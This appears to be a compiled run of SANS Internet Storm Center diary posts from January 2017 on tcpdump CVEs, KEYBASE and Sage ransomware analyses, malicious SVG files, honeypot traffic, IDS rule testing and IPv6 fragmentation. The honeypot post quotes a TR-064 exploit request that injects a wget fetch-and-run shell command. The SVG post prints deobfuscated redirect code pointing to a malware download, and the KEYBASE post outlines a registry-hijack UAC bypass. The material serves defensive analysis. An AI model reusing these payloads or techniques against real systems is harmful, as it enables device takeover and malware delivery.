Published: 2017-01-31

Multiple Vulnerabilities in tcpdump

A Debian security update for tcpdump 32 different vulnerabilities in tcpdump that are addressed by this update [1]. While there are not a lot of details available yet, some of the vulnerabilities can apparently be used to execute arbitrary code. 

This is in particular worrying if you use tcpdump to look at live attack traffic. Of course, remember that you can have tcpdump relinquish its root privileges after you start it up (-Z userid) , but it would still have the ability to execute code as the user running tcpdump.

All tcpdump versions prior to 4.9.0 may be vulnerable. (again, not a lot of details yet). Based on a quick look at the vulnerabliity summaries below, it looks like various "print" functions are affected. These functions should not be called if you just write a packets to a file using the "-w" option in tcpdump. So the best way to run tcpdump until you are patched:

tcpdump -Z nobody -w filename ...[other options]...

("nobody" may not be the best choice for your platform. Pick a low privilege user that works for you)


CVE Number Description
CVE-2016-7922 The AH parser in tcpdump before 4.9.0 has a buffer overflow in print-ah.c:ah_print().
CVE-2016-7923 The ARP parser in tcpdump before 4.9.0 has a buffer overflow in print-arp.c:arp_print().
CVE-2016-7924 The ATM parser in tcpdump before 4.9.0 has a buffer overflow in print-atm.c:oam_print().
CVE-2016-7925 The compressed SLIP parser in tcpdump before 4.9.0 has a buffer overflow in print-sl.c:sl_if_print().
CVE-2016-7926 The Ethernet parser in tcpdump before 4.9.0 has a buffer overflow in print-ether.c:ethertype_print().
CVE-2016-7927 The IEEE 802.11 parser in tcpdump before 4.9.0 has a buffer overflow in print-802_11.c:ieee802_11_radio_print().
CVE-2016-7928 The IPComp parser in tcpdump before 4.9.0 has a buffer overflow in print-ipcomp.c:ipcomp_print().
CVE-2016-7929 The Juniper PPPoE ATM parser in tcpdump before 4.9.0 has a buffer overflow in print-juniper.c:juniper_parse_header().
CVE-2016-7930 The LLC/SNAP parser in tcpdump before 4.9.0 has a buffer overflow in print-llc.c:llc_print().
CVE-2016-7931 The MPLS parser in tcpdump before 4.9.0 has a buffer overflow in print-mpls.c:mpls_print().
CVE-2016-7932 The PIM parser in tcpdump before 4.9.0 has a buffer overflow in print-pim.c:pimv2_check_checksum().
CVE-2016-7933 The PPP parser in tcpdump before 4.9.0 has a buffer overflow in print-ppp.c:ppp_hdlc_if_print().
CVE-2016-7934 The RTCP parser in tcpdump before 4.9.0 has a buffer overflow in print-udp.c:rtcp_print().
CVE-2016-7935 The RTP parser in tcpdump before 4.9.0 has a buffer overflow in print-udp.c:rtp_print()
CVE-2016-7936 The UDP parser in tcpdump before 4.9.0 has a buffer overflow in print-udp.c:udp_print().
CVE-2016-7937 The VAT parser in tcpdump before 4.9.0 has a buffer overflow in print-udp.c:vat_print().
CVE-2016-7938 The ZeroMQ parser in tcpdump before 4.9.0 has an integer overflow in print-zeromq.c:zmtp1_print_frame().
CVE-2016-7939 The GRE parser in tcpdump before 4.9.0 has a buffer overflow in print-gre.c, multiple functions.
CVE-2016-7940 The STP parser in tcpdump before 4.9.0 has a buffer overflow in print-stp.c, multiple functions.
CVE-2016-7973 The AppleTalk parser in tcpdump before 4.9.0 has a buffer overflow in print-atalk.c, multiple functions.
CVE-2016-7974 The IP parser in tcpdump before 4.9.0 has a buffer overflow in print-ip.c, multiple functions.
CVE-2016-7975 The TCP parser in tcpdump before 4.9.0 has a buffer overflow in print-tcp.c:tcp_print().
CVE-2016-7983 The BOOTP parser in tcpdump before 4.9.0 has a buffer overflow in print-bootp.c:bootp_print().
CVE-2016-7984 The TFTP parser in tcpdump before 4.9.0 has a buffer overflow in print-tftp.c:tftp_print().
CVE-2016-7985 The CALM FAST parser in tcpdump before 4.9.0 has a buffer overflow in print-calm-fast.c:calm_fast_print().
CVE-2016-7986 The GeoNetworking parser in tcpdump before 4.9.0 has a buffer overflow in print-geonet.c, multiple functions.
CVE-2016-7992 The Classical IP over ATM parser in tcpdump before 4.9.0 has a buffer overflow in print-cip.c:cip_if_print().
CVE-2016-7993 A bug in util-print.c:relts_print() in tcpdump before 4.9.0 could cause a buffer overflow in multiple protocol parsers (DNS, DVMRP, HSRP, IGMP, lightweight resolver protocol, PIM).
CVE-2016-8574 The FRF.15 parser in tcpdump before 4.9.0 has a buffer overflow in print-fr.c:frf15_print().
CVE-2016-8575 The Q.933 parser in tcpdump before 4.9.0 has a buffer overflow in print-fr.c:q933_print(), a different vulnerability than CVE-2017-5482.
CVE-2017-5202 The ISO CLNS parser in tcpdump before 4.9.0 has a buffer overflow in print-isoclns.c:clnp_print().
CVE-2017-5203 The BOOTP parser in tcpdump before 4.9.0 has a buffer overflow in print-bootp.c:bootp_print().
CVE-2017-5204 The IPv6 parser in tcpdump before 4.9.0 has a buffer overflow in print-ip6.c:ip6_print().
CVE-2017-5205 The ISAKMP parser in tcpdump before 4.9.0 has a buffer overflow in print-isakmp.c:ikev2_e_print().
CVE-2017-5341 The OTV parser in tcpdump before 4.9.0 has a buffer overflow in print-otv.c:otv_print().
CVE-2017-5342 In tcpdump before 4.9.0, a bug in multiple protocol parsers (Geneve, GRE, NSH, OTV, VXLAN and VXLAN GPE) could cause a buffer overflow in print-ether.c:ether_print().
CVE-2017-5482 The Q.933 parser in tcpdump before 4.9.0 has a buffer overflow in print-fr.c:q933_print(), a different vulnerability than CVE-2016-8575.
CVE-2017-5483 The SNMP parser in tcpdump before 4.9.0 has a buffer overflow in print-snmp.c:asn1_parse()
CVE-2017-5484 The ATM parser in tcpdump before 4.9.0 has a buffer overflow in print-atm.c:sig_print().
CVE-2017-5485 The ISO CLNS parser in tcpdump before 4.9.0 has a buffer overflow in addrtoname.c:lookup_nsap().
CVE-2017-5486 The ISO CLNS parser in tcpdump before 4.9.0 has a buffer overflow in print-isoclns.c:clnp_print().

[1] https://www.debian.org/security/2017/dsa-3775


UPDATE RW: tcpdump 4.9.0 has been released to address these vulnerabilities

Johannes B. Ullrich, Ph.D.


Published: 2017-01-31

Malicious Office files using fileless UAC bypass to drop KEYBASE malware

This is a "Guest Diary" submitted by Ismael Valenzuela and Marc Rivero. Interested in writing a guest diary? Let us know via our contact page

Macro based malware that hides in Microsoft Word or Excel documents is nothing new to Incident Responders and Malware Analysts.

However, something that caught our attention in the last few days was the use of a 'fileless' method to bypass UAC implemented in a malicious Excel file. This method leverages eventvwr.exe and was described in detail by the Enigma0x3 team in this post: https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/

Bypassing UAC is nothing new either (see the UACME project created by hfiref0x). In fact, a few days ago we knew of a new Dridex sample that attempts to bypass UAC by using application compatibility databases (http://blog.jpcert.or.jp/2015/02/a-new-uac-bypass-method-that-dridex-uses.html). What is most interesting about the method described by the Enigma0x3's team, however, is that it doesn't require any kind of privileged file copy, code injection, or placing a DLL anywhere on the disk.

This particular Excel file employs this UAC bypass method to download and execute a malicious binary that is part of a well-known data-stealing family called KEYBASE.

SHA256 HASH: e431bc1bacde51fd39a10f418c26487561fe7c3abee15395314d9d4e621cc38e

This Excel document implements a fileless UAC bypass using eventvwr.exe
Image 1: This Excel document implements a fileless UAC bypass using eventvwr.exe

KEYBASE is a primarily a keylogger with some other additional capabilities that are commonly found in other non-sophisticated Trojans such as password stealing, clipboard copying, etc.

To understand how this sample behaves and have a look at its capabilities we can use a popular free online resource like "Hybrid Analysis" (https://www.hybrid-analysis.com/) from Payload Security.

Looking at the process list details we can observe what specific processes were spawned when opening the Excel file, along with command line arguments:

Dynamic analysis shows the execution of eventvwr.exe and pu457.exe

Image 2: Dynamic analysis shows the execution of eventvwr.exe and pu457.exe

While the output is pretty self-explanatory, let's dive a bit deeper and explain what's going on there:

  • The embedded macro starts a hidden instance of PowerShell.exe (via cmd.exe) which downloads a file (mi.exe) from a remote server (ridart.ru), storing it in the %TEMP% folder as pu457.exe.
  • A registry key is added under HKCU\Software\Classes\mscfile\shell\open\command pointing to the binary downloaded (more on this on Enigma0x3's post).
  • Finally, the PowerShell command invokes EventViewer.exe, which will successfully query/open HKCU\Software\Classes\mscfile\shell\open\command and execute the malicious file that the registry key points to.
  • In case you are wondering, PING -n 15 , as expected, does nothing else but sending 15 ICMP echo requests packets to the iPv4 localhost address, which is just an alternative way to implement the "sleep" command, in an attempt to evade sandbox detection.

The sequence of events described above will ultimately result in code execution in a high integrity process, effectively bypassing UAC!

As expected, there is an HTTP connection to ridart.ru to download an additional binary (mi.exe):

Powershell initiates an HTTP GET request to ridart.ru to download mi.exe

Image 3: Powershell initiates an HTTP GET request to ridart.ru to download mi.exe

The static analysis performed on pu457.exe helps us to confirm the capabilities of this Portable Executable:

  • Ability to retrieve keyboard strokes

  • Contains ability to query volume size

  • Contains ability to open the clipboard

Finally, using these IOCs found during our investigation, we can leverage Virustotal (https://www.virustotal.com) to check the reputation of this site and pivot to associated URLs, domains, other related samples. If you check the IP's on the network traffic on Hybrid Analysis, you can extract more malicious information related:

Image 4: Associated artifacts for (ridart.ru)

As the Enigma0x3 team reminds us in their post, this method to bypass UAC is expected to work on all versions of Windows that implement UAC, including Windows 10, but can be prevented by removing the current user from the Local Administrators group, which is something that you should do anyways!

From a monitoring perspective, it's recommended to monitor and alert on any new registry entries in HKCU\Software\Classes, something that can be easily implemented with the latest version of Microsoft's Sysmon, v5 (https://technet.microsoft.com/en-us/sysinternals/sysmon).

Further references:

Full report in Hybrid Analysis:

pu457.exe on Virustotal: https://www.virustotal.com/es/file/a3a8959b5505029b773fb2ad1c2dc7adf657b17199d5e77b6cc796327d4a1561/analysis/

Information on Keybase:

Ismael Valenzuela, GSE #132 (@aboutsecurity)
SANS Instructor & Global Director, Foundstone Services at Intel Security

Marc Rivero @seifreed
Head of Research, Payload Security


Published: 2017-01-30

py2exe Decompiling - Part 2

In Diary entry py2exe Decompiling - Part 1 we took a quick look at py2exe files.

How can we identify an .exe file generated by py2exe? A quick test is to check if the PE file has a resource PYTHONSCRIPT. I developed a YARA rule for this.

Of course, this YARA rule just detects if a PE file was created with py2exe. It doesn't identify the sample as malware, there are legitimate py2exe applications too.


As mentioned in part 1, unpy2exe supports Python 2, not Python 3.

For Python 3, you can use program decompile-py2exe.

Please post a comment mentioning the py2exe analysis tools you like to use.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com


Published: 2017-01-28

Packet Analysis - Where do you start?

We had a reader who sent an email to us tonight asking for some guidance "when tearing into packets".  They are wanting to expand their skills at packet analysis.  Since Guy was asking for packets earlier in the evening, it was a timely question.  For many of people, packets are a mystery.  I think back many, many (its been a while) years ago when I first started looking at packets.  I was so anxious to learn it and become really good at it but had no idea where to start.  Over my years of looking at packets, I have become completely convinced that packet analysis is well and truly art form (and alot of learning).  Each person will have their own style and approach to looking at packets and traffic.  However, there are some fundamental things to start with.

The reader submitted an question and initial list of things he/she thought they should look at first.  I'm going to include that question and list, then add to it.

Question submitted from reader:  "What are the top 10 or so questions (what & why ask) you would ask yourself when looking at packets you suspect contain evil?"  Two things with this question.  First, the indicators you received, alerts, users calling, etc. are a good way to point yourself in the right direction of things to look at initially.  Start narrow and work your way wider when looking at the packets.  Second,  I would modify the thought process when looking at packets.  Don't automatically assume evil!  Why you might ask?  Because I have watched people try to force packets into being malicious in nature to support their theory, when in reality something was just broke or it was normal behavior!   Yet they were convinced something evil was going on and had management all spun up.  Look at packets from a clean slate of what are they telling you!  Don't assume one way or other.  The packets are innocent until proven guilty:)  Here's a past diary example of suspicious behavior being "normal":  

Here is what the reader submitted: 

  1. Look for what IP went to an IP of interest --> Who followed a link, uploaded some data, etc.
  2. Look for a file that was downloaded --> Looking for malicious files to see if machine got infected
  3. Look for when (time) a file was downloaded --> To see if data exfiltration or strange behavior started soon after
  4. Look for the dst IP and port used --> To review the data going out the door
  5. Check DNS TTL --> Low TTLs might be an indication of malicious intent or Flux botnet

This is really tough, because there are so many things that you can look for in packets.  First and foremost, I can't stress the importance of learning normal!!!  Once you learn normal, the abnormal just jumps out at you.  The RFCs are a great place, but have coffee handy.  There are alot of website that have good information about packets, but beware, I have ran across incorrect data too.  Here are a few more things to look at.  I can tell you why I look at it, but its the totality of information that helps you figure out what is going on.

  1. What protocol is being used?  Are we dealing with TCP, UDP, ICMP?  It will help focus where to start based on why you went looking in the first place.  What made you suspect the traffic and what protocol would it use.
  2. Do you think the issue is at the application layer or is something going on in the transport layer?  What are your indicators to help narrow your focus?
  3. Look at the source port -->  Is it staying constant or is it changing?  A source port should stay constant for each session, but change (usually incremental) for the next session.  A constant source port can indicate a poor coding (or deliberate) in a tool or malware.  It is a characteristic that might eventually help you ID what tool/malware it might be.
  4. Look at the sequence numbers -->  Are they changing like they should or are they staying constant.  It can indicate many things depending on the scenario.
  5. I look at the TTLs (same IP but widely varying; etc), IPID/fragID (fixed or changing), flag fields (IP and TCP headers), etc.  Any of the packet fields to see if the traffic is behaving normally.  (if its a large capture, this is much more difficult and time consuming)
  6. If you use wireshark to do your packet analysis, it has some great features to give you statistics about your packet capture.  This can help you find interesting pieces of traffic to start your analysis.
  7. What's in the payload is always of interest.  Sometimes, you find glaringly obvious things like:  "This program cannot be run in DOS mode" which is a good indicator for an executable being downloaded. 

As a note for my analysis approach, I like to line up fields up as much as possible.  Sometimes a little work up front to do this pays off in a quick visual inspection of the data.  You can see anomalies better. 

Packet analysis is such a amazing, interesting and fun field of interest.  I really enjoy seeing and understanding how other people approach the analysis. If you have any tips or advice for becoming good at packet analysis, please send them in!  There are alot of young and old analysts out there who would appreciate it.



Published: 2017-01-28

Request for Packets and Logs - TCP 5358

Starting Sunday (22 Jan 17), there was a huge spike this week against TCP 5358. If anyone has logs o r packets (traffic) that might help identify what it is can submit them via our contact page would be appreciated. This is a snapshot as to what was reported so far this week in DShield.


TCP Port 5358

Update 1

We received information this port could be use by Web Service on Devices API (WSDAPI)[2] or potentially various version of DVR's and NVR's.

[1] https://isc.sans.edu/contact.html
[2] https://msdn.microsoft.com/en-us/library/windows/desktop/aa823078(v=vs.85).aspx
[3] https://msdn.microsoft.com/en-us/library/windows/desktop/aa385800(v=vs.85).aspx

Guy Bruneau IPSS Inc.
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu


Published: 2017-01-27

What Keeps My Honeypot Busy These Days

Sometimes, it isn't the new and sophisticated attacks that keep your honeypots (and with that: you) busy, but things that make you go "that works?". Looking over my honeypot today, I had a couple experiences like this. First of all, the old "TR-064 NTP Server" exploit that beca me big news when the Mirai botnet adopted it. Since then, most of the servers that hosted the follow-up code no longer deliver. But this doesn't prevent thousands of existing bots to persistently attempt the exploit. In addition, it appears that some of the less skilled but persistent attackers (the "Not so Advanced Persistent Threat") have picked up on the exploit, and try to make it work for themselves. Since they are at the lower end of the exploit food-chain, they do get even a simple exploit like TR-064 wrong. Or, and sadly that is possible as well, web servers running on these device s actually consider these requests valid:

POST /UD/act?1 HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml
Content-Length: 557
<?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body>  <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1&qu ot;>   <NewNTPServer1>`cd /tmp && /bin/busybox wget -O - > bin.sh && sh bin.sh`</NewNTPServer1>   <NewNTPServer2></NewNTPServer2>   <NewNTPServer3></NewNTPServer3>   <NewNTPServer4></NewNT PServer
4>   <NewNTPServer5></NewNTPServer5>  </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope>

The problem with this code is that there is no empty line between headers and body, which makes the request fail. Apache responds to this with a 400 error. Over the last 6 hours, I got about 40,000 requests from around 1,000 different IPsacrosss different honeypots.

Another attack that doesn't go away is SNMP attacks from port 80. These are kind of "background trickle" that you will see if you look at your firewall logs a bit more careful. And hopefully, they will show up in your firewall as blocked or dropped. The typically I believe these requests to be spoofed and used as part of a reflective DDoS attack. Most SNMP requests not originating from port 80 do come from researchers. (University Bochum seems to be doing a survey, and of course, Shodan).

A typical SNMP request would be:
13:41:06.216683 IP > a.b.c.d.161:  GetBulk(42)  N=0 M=10 . .

This request will solicit a description of the system in return, which of course can be somewhat large. In my case, it is 993 bytes:

13:41:06.217446 IP a.b.c.d.161 >  GetResponse(993)  ."Linux myhost 4.4.0-59-generic #80-Ubuntu SMP Fri Jan 6 17:47:47 UTC 2017 x86_64" ."The MIB for Message Processing and Dispatching." . . ."The management information definitions for the SNMP User-based Security Model." . ."The SNMP Management Architecture MIB." ."Me <me@example.org>" . ."The MIB module for SNMPv2 entities" ."flyinghorse" ."View-based Access Control Model for SNMP." ."Sitting on the Dock of the Bay" ."The MIB module for managing TCP implementations" . ."The MIB module for managing IP and ICMP implementations" . ."The MIB module for managing UDP implementations" . . .9="The MIB modules for managing SNMP Notification, plus filtering." . ."The MIB module for logging SNMP Notifications."

The source of the request was a Comcast IP. It isn't clear to me if it was spoofed and if there is something worth DDoSing at that IP, or if this is someone scanning for possible reflectors.

Johannes B. Ullrich, Ph.D.


Published: 2017-01-26

IOC's: Risks of False Positive Alerts Flood Ahead

Yesterday, I wrote a blog post[1] which explained how to interconnect a Cuckoo[2] sandbox and the MISP[3] sharing platform. MISP has a nice REST API that allows you to extract useful IOC's in different formats. One of them is the Suricata / Snort format. Example:

alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg: "MISP e3791 Outgoing HTTP Domain: khanji.ddns.net"; 
  content: "Host|3a|"; nocase; 
  http_header; content:"khanji.ddns.net"; fast_pattern; nocase; 
  http_header; pcre: "/(^|[^A-Za-z0-9-])khanji\.ddns\.net[^A-Za-z0-9-\.]/Hi"; 
  sid:9068216; rev:1; priority:2; 

This is very tempting to automatically inject more and more IOC's into your IDS system to spot bad traffic. Also, a MISP instance can be fed with many other sources as seen in the following schema:

MISP can receive your own IOC's from sandboxes, from remote connected MISP instances or from external public/private sources. Keep in mind that an IOC must always be delivered in a contact. A simple example is the use of public DNS servers: For an organization "A", traffic to public DNS like Google or OpenDNS can be considered as suspicious. It could be legit to define them as IOC's. But in the organization "B", they use some public DNS services. If "B" integrates blindly all IOC's published by "A", they will be facing a risk of false positive alerts! I already faced this issue with many customers. Classic bad IOC's are:

  • CRL services like crl.verisign.com,sc.symcb.com
  • URL shorteners
  • Public DNS
  • Hashes of DLL's

To prevent this problem, my recommendation is to test your set of IDS rules based in shared IOC's before enabling them in production. This can be performed in three steps:

1. Get some network data. The simple solution is to use samples from your full packet capture solution[4], export PCAP files generated during interesting time periods like in the morning (8AM-10AM) when people arrive at the office, read their emails and visit their regular websites or at the lunch break. 

2. Export Suricata rules from MISP via the rest API. The goal is to check only rules generated with data coming from remote peers. We can assume that normal rules like feeds from Emerging Threats are safe.

# wget --header 'Authorization: xxxxxxxxxxx' \
--no-check-certificate \
-O /tmp/misp.rules \

3. Run your Suricata in offline mode to process the samples:

# suricata -r /tmp/sample-08-10.pcap -S /tmp/misp.rules -l /tmp

Now, it's easy to parse the results from the fast.log logfile:

# cat /tmp/fast.log | awk '{ print $3 }' | sort -u | while read ALERT 
> do 
> X=`echo $ALERT | tr -d "[]"`
> N=`grep $X fast.log|wc -l`
> echo $ALERT : $N
> done
[1:2200025:1] : 320
[1:2200067:1] : 224
[1:2200075:1] : 9
[1:2210007:1] : 38
[1:2210008:1] : 38
[1:2220006:1] : 1
[1:2221007:1] : 1

Easy to spot a rule that generates a lot of hits! (Those three steps can be easily scripted for automatic reporting).

[1] https://blog.rootshell.be/2017/01/25/quick-integration-misp-cuckoo/
[2] https://cuckoosandbox.org/
[3] http://www.misp-project.org/
[4] https://isc.sans.edu/forums/diary/Full+Packet+Capture+for+Dummies/21679/

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant


Published: 2017-01-24

Malicious SVG Files in the Wild

In November 2016, the Facebook messenger application was used to deliver malicious SVG files to people [1]. SVG files (or "Scalable Vector Graphics") are vector images that can be displayed in most modern browsers (natively or via a specific plugin). More precisely, Internet Explorer 9 supports the basic SVG feature sets and IE10 extended the support by adding SVG 1.1 support. In the Microsoft Windows operating system, SVG files are handled by Internet Explorer by default.

From a file format point of view, SVG files are XML-based and can be edited/viewed via your regular text editor. Amongst all the specifications of the SVG format, we can read this one in the W3C recommendations [2]: 

All aspects of an SVG document can be accessed and manipulated using scripts in a similar way to HTML. The default scripting language is ECMAScript (closely related to JavaScript) and there are defined Document Object Model (DOM) objects for every SVG element and attribute. Scripts are enclosed in

As you can see, attackers have all the requirements to build malicious SVG files. A few days ago, I captured two samples via my honeypot:

  • 00967999543-(02).svg (MD5: 6b9649531f35c7de78735aa45d25d1a7)
  • P0039988439992_001.jpg.svg (MD5: e2f7245d016c52fc9c56531e483e6cfb)

Those two pictures belong to the same campaign (which targeted Japanese people). The SVG document is very simple, it contains two sections:

_?xml version="1.0" standalone="no"?_
_!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
_svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"_
   _image width="1000" height="900" xlink:href="data:image/jpeg;base64, 
       ..." /_
 _script type="application/javascript"_ 
]]> _/script_

("_" have been used to prevent the code to be interpreted by readers' browsers).

The embedded image (Base64 encoded) is displayed in the browser and is used to entice the victim to activate the script:

The second part is a classic obfuscated JavaScript that executes the following (de-obfuscated) code:

setTimeout(function () {
  window.location.href = 'hxxp://juanpedroperez.com/fotos/photos/xfs_extension.exe';
  }, 1000);

The PE file is not available anymore at the location above but here is a link[3] to the sample (it was an Ursnif banking Trojan[4]). The malicious SVG file is of course delivered via a ZIP archive. At the moment, those two malicious files are detected by most of the antivirus but other waves may be launched. Keep an eye on this file format and another file extension to take care of.

[1] http://securityaffairs.co/wordpress/53650/malware/svg-images-locky.html
[2] https://www.w3.org/TR/SVG11/script.html
[3] https://www.virustotal.com/en/file/3af18232a9175dea624a7947e6edef6a57457bdf6d3ba0ead58856a139db2832/analysis/
[4] https://www.microsoft.com/security/portal/threat/encyclopedia/entry.aspx?Name=Win32/Ursnif

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant


Published: 2017-01-24

Critical Vulnerability in Cisco WebEx Chrome Plugin

Update: Version 1.0.5 of the Google Chrome WebEx plugin, released this morning, fixes this issue.

The Google 0-Day project announced a critical remote code execution vulnerability in Cisco's WebEx plugin for Google Chrome. This vulnerability allows a remote attacker to execute arbitrary code on the victim's system by delivering it to the WebEx plugin via a special "secret" URL. 

The secret pattern:  cwcsf-nativemsg-iframe-43c85c0d-d633-af5e-c056-32dc7efc570b.html

Google set up a test page and published a detailed report about how this vulnerability can be used to execute code [1].

Note that version 1.0.3 of the plugin, which was released on Sunday (Jan 22nd), appears to be still vulnerable. At this point, it is probably best to uninstall the plugin and use a different browser for WebEx (of course, this issue may affect plugins for other browsers as well).

An attack would be invisible to the user if executed "right". The user does not have to willingly join a WebEx meeting to exploit this vulnerability.


[1] https://bugs.chromium.org/p/project-zero/issues/detail?id=1096

Johannes B. Ullrich, Ph.D.


Published: 2017-01-23

How to Have Fun With IPv6 Fragments and Scapy

I may extend this with a second entry later this week. But as so often, I found myself on a long flight with some time on my hands, and since the IETF just released a new RFC regarding IPv6 atomic fragments, I figured I will play a bit with scapy to kill time. [1] And well, this also makes good material for my IPv6 class [2]. This is supposed to entice you to play and experiment. Let me know if you find anything neat.

Fragmentation is a necessary evil of packet networking. Packets will encounter networks with different MTUs as they traverse the network, and even if all of your networks have the same MTU, it may not be large enough to accommodate some packets (for example large DNS replies taking advantage of EDNS0).

IPv6 made some substantial changes to the way packets are fragmented. The goal was to simplify and even discourage fragmentation, and also to remove some of the work involved from routers. As a result, only the source of the packet is supposed to fragment, not the router. This will not only make live easier for routers, but it also allows senders to adjust the packet size appropriately and forego fragmentation. Double fragmentation, where two routers fragment already fragmented packets further, should no longer happen. This double fragmentation was one source of a lot of pain for IPv4. To further reduce the probability of having to fragment packets, IPv6 defines a minimum MTU of 1280. Networks with an MTU of less than 1280 bytes will no longer be able to route IPv6 traffic.

But what does this mean for network traffic, how is this implemented, and how do I test implementations? In short: scapy ;-)

1 - What happens to fragments that are smaller than 1280 bytes (and not the last fragment)? 

For all of our tests, we use simple echo requests. To build them in scapy:


This creates a set of packets that should never be seen via IPv6. But, after sending it with:

for p in packets:

We see in tcpdump that this works quite well:

IP6 2001:db8::2 > 2001:db8::1: frag (0|48) ICMP6, echo request, seq 0, length 48
IP6 2001:db8::2 > 2001:db8::1: frag (48|48)
IP6 2001:db8::2 > 2001:db8::1: frag (96|48)
IP6 2001:db8::2 > 2001:db8::1: frag (960|48)
IP6 2001:db8::1 > 2001:db8::2: ICMP6, echo reply, seq 0, length 1008

The recipient replies as expected with a non-fragmented packet.

2 - What happens if a "Packet Too Large" error comes back with an MTU of less than 1280 Bytes?

Now lets "up this" by a step. I will now send the same echo request packet without fragmenting it. Of course, we will get a reply, but my host will respond with a "Packet too large, Fragmentation Required" error and advertise the ridiculous small MTU of 100 bytes, which is small even for IPv4. The reason that I am doing it this way is so that I can send all the crafted packets from one host:

IP6 2001:db8::2 > 2001:db8::1: ICMP6, echo request, seq 0, length 1008
IP6 2001:db8::1 > 2001:db8::2: ICMP6, echo reply, seq 0, length 1008


IP6 2001:db8::2 > 2001:db8::1: ICMP6, echo request, seq 0, length 1008
IP6 2001:db8::1 > 2001:db8::2: ICMP6, echo reply, seq 0, length 1008
IP6 2001:db8::2 > 2001:db8::1: ICMP6, packet too big, mtu 100, length 8
IP6 2001:db8::2 > 2001:db8::1: ICMP6, echo request, seq 0, length 1008
IP6 2001:db8::1 > 2001:db8::2: ICMP6, echo reply, seq 0, length 1008

ICMP error messages need to include parts of the packet that caused them to be taken serious. So we need to capture the ICMP echo response, and append it to the error:


IP6 2001:db8::2 > 2001:db8::1: ICMP6, echo request, seq 0, length 1008
IP6 2001:db8::1 > 2001:db8::2: ICMP6, echo reply, seq 0, length 1008
IP6 2001:db8::2 > 2001:db8::1: ICMP6, packet too big, mtu 100, length 1056
IP6 2001:db8::2 > 2001:db8::1: ICMP6, echo request, seq 0, length 1008
IP6 2001:db8::1 > 2001:db8::2: frag (0|1008) ICMP6, echo reply, seq 0, length 1008

Now we get a rather strange ICMP echo reply in the end. It is actually standard compliant, and referred to as an "atomic fragment". The packet includes a fragmentation header, but isn't really fragmented. The offset is 0, the more fragment flag is cleared, and well, the packet still carries the full 1008 bytes IP payload (it is actually 8 bytes longer now with the fragment header). The idea here is that the small "packet too big" message came likely from a tunnel, and that the packet will be fragmented over IPv4. Adding the IPv6 fragment header provides the tunnel endpoint with a fragment ID to derive an IP ID from. Odd.. but well, the RFC tells us to do this. 

These atomic fragments have been noted to lead to possible DoS conditions if we receive two of them (one of them spoofed). This would represent an overlapping fragment, and then both will get dropped.

3 - Are overlapping fragments still an issue?

For IPv6, overlapping fragments need to be dropped. But are they? Creating them is a bit tricky. We need to get the protocol checksum right for the "after re-assembly" packet, which of course is ambiguous. In IPv4, we were able to "cheat" with UDP packets. So far, I haven't been able to find a set of packets / operating system combination that violates the RFC. Here is a sample scapy script to create these packets. It avoids the checksum issue by just using a static payload throughout the packet. And since we do not get an answer for the ICMP echo request, the question of reassemble preference doesn't come up.

from scapy.all import *



[1] https://tools.ietf.org/html/rfc8021
[2] https://www.sans.org/course/ipv6-essentials

Johannes B. Ullrich, Ph.D.


Published: 2017-01-21

Sage 2.0 Ransomware


On Friday 2017-01-20, I checked a malicious spam (malspam) campaign that normally distributes Cerber ransomware.  That Friday it delivered ransomware I'd never seen before called "Sage."  More specifically, it was "Sage 2.0."

Shown above:  It's always fun to find ransomawre that's not Cerber or Locky.

Sage is yet another family of ransomware in an already crowded field.  It was noted on BleepingComputer forums back in December 2016 [1, 2], and Sage is a variant of CryLocker [3].  Unfortunately, I can't find an in-depth write-up on Sage that I like.  With that in mind, this diary examines Sage 2.0.

The malspam

Emails from this particular campaign generally have no subject lines, and they always have no message text.  The only content is a zip attachment containing a Word document with a malicious macro that downloads and installs ransomware.  Sometimes, I'll see a .js file instead of a Word document, but it does the same thing.

Shown above:  Data from a spreadsheet tracking the malspam (1 of 3).

Often, the recipient's name is part of the attachment's file name.  I replace those names with [recipient] before I share any info.  A more interesting fact is the attachments are often double-zipped.  They contain another zip archive before you get to the Word document or .js file.

Shown above:  Data from a spreadsheet tracking the malspam (2 of 3).

Shown above:  Example of a Word document with a malicious macro.

Shown above:  Another example of the Word document with a malicious macro.

The Word document macros or .js files are designed to download and install ransomware.  In most cases on Friday, the ransomware was Sage 2.0.

Shown above:  Data from a spreadsheet tracking the malspam (3 of 3), mostly Sage 2.0.

The infected host

Under default settings, an infected Windows 7 host will present a UAC window before Sage continues any further.  It keeps appearing until you click yes.

Shown above:  UAC pop-up caused by Sage.

The infected Windows host has an image of the decryption instructions as the desktop background.  There's also an HTML file with the same instructions dropped to the desktop.  The same HTML file is also dropped to any directory with encrypted files.  ".sage" is the suffix for all encrypted files.

Shown above:  Desktop of an infected Windows host.

Sage ransomware is kept persistent by a scheduled task, and it's stored as an executable in the user's AppData\Roaming directory.

Shown above:  Sage ransomware and it's scheduled task for persistence.

Following the decryption instructions should take you to a Tor-based domain with a decryptor screen.  On Friday, the cost to decrypt the files was $2,000 US dollars (or 2.22188 bitcoin).

Shown above:  The Sage 2.0 decryptor.

Sage 2.0 traffic

Sage ransomware generates post-infection traffic.  In the image below, an initial HTTP GET request to smoeroota.top was caused by a .js file retrieving the ransomware.  The remaining HTTP POST requests are callback traffic generated by Sage 2.0 from the infected Windows host.

Shown above:  Screenshot of the infection traffic, filtered in Wireshark.

Shown above:  TCP stream of an HTTP request for the post-infection traffic.

